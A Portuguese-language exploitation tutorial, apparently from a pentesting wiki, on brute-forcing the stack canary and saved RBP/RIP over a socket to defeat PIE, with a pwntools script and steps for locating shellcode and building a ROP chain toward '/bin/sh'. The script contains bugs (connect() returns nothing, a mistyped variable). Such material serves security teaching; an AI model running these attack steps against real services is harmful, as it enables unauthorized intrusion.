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BF Addresses in the Stack

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Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable) provavelmente precisará encontrar uma maneira de contorná-los.

Observe que o checksec pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função. No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e este valor é verificado antes de sair.

Endereços de Força Bruta

Para contornar o PIE você precisa vazar algum endereço. E se o binário não estiver vazando nenhum endereço, o melhor a fazer é forçar bruta o RBP e RIP salvos na pilha na função vulnerável. Por exemplo, se um binário estiver protegido usando tanto um canário quanto PIE, você pode começar a forçar bruta o canário, então os próximos 8 Bytes (x64) serão o RBP salvo e os próximos 8 Bytes serão o RIP salvo.

Supõe-se que o endereço de retorno dentro da pilha pertence ao código binário principal, o que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso.

Para forçar bruta o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir algo ou simplesmente não travar. A mesma função fornecida para forçar bruta o canário pode ser usada para forçar bruta o RBP e o RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

A última coisa que você precisa para derrotar o PIE é calcular endereços úteis a partir dos endereços vazados: o RBP e o RIP.

A partir do RBP, você pode calcular onde está escrevendo seu shell no stack. Isso pode ser muito útil para saber onde você vai escrever a string "/bin/sh\x00" dentro do stack. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um ponto de interrupção após vazar o RBP e verificar onde seu shellcode está localizado, então, você pode calcular a distância entre o shellcode e o RBP:

INI_SHELLCODE = RBP - 1152

A partir do RIP é possível calcular o endereço base do binário PIE que é o que você vai precisar para criar uma cadeia ROP válida. Para calcular o endereço base, basta fazer objdump -d vunbinary e verificar os últimos endereços desmontados:

Nesse exemplo, você pode ver que apenas 1 byte e meio é necessário para localizar todo o código, então, o endereço base nessa situação será o RIP vazado, mas terminando em "000". Por exemplo, se você vazou 0x562002970ecf, o endereço base será 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Melhorias

De acordo com alguma observação deste post, é possível que ao vazar os valores RBP e RIP, o servidor não irá travar com alguns valores que não são os corretos e o script BF pensará que obteve os corretos. Isso ocorre porque é possível que alguns endereços simplesmente não causem falhas mesmo que não sejam exatamente os corretos.

De acordo com esse post no blog, é recomendado adicionar um pequeno atraso entre as solicitações ao servidor.

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